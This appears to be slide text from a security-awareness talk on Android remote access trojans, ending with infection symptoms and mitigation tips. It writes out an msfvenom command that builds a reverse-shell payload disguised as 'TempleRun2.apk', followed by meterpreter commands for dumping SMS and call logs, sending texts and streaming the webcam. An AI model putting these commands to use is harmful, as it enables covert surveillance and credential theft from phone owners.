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Open Source Intelligent (OSINT)
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Remote Access Trojan (RAT)

steals cryptocurrency and banking credentials, 
2FA codes, lock screen passcodes, captures 
screenshots, calls log, sms log, send sms, 
install apps, run apps, stream webcam (video & 
audio)



  



  



  



  

msfvenom
msfvenom -p 
android/meterpreter/reverse_tcp 
lhost=192.168.0.102 lport=4444 > 
TempleRun2.apk



  

Msfconsole attack android
● check_root

● wlan_geolocate

● dump_calllog

● dump_sms

● send_sms -d “nomor tujuan” -t “berita yang ingin dikirim”

● send_sms -d 9599***847 -t hacked

● webcam_list

● webcam_snap 2

● webcam_stream



  

Ciri Android Korban
● HP Ada aktifitas walaupun layar gelap
● HP Panas
● HP Lemot
● Batere HP cepat habis
● Solusi:

– Factory Reset
– JANGAN Auto Install Apps.



  

Mitigasi Serangan
● Jangan Percaya “Too good to be true”
● Jangan Kepo
● Jangan Klik .apk sembarang
● Jangan allow install .apk (non-playstore)
● Jangan posting hal2 pribadi
● Cross Check “orang“ di Internet vs aslinya.
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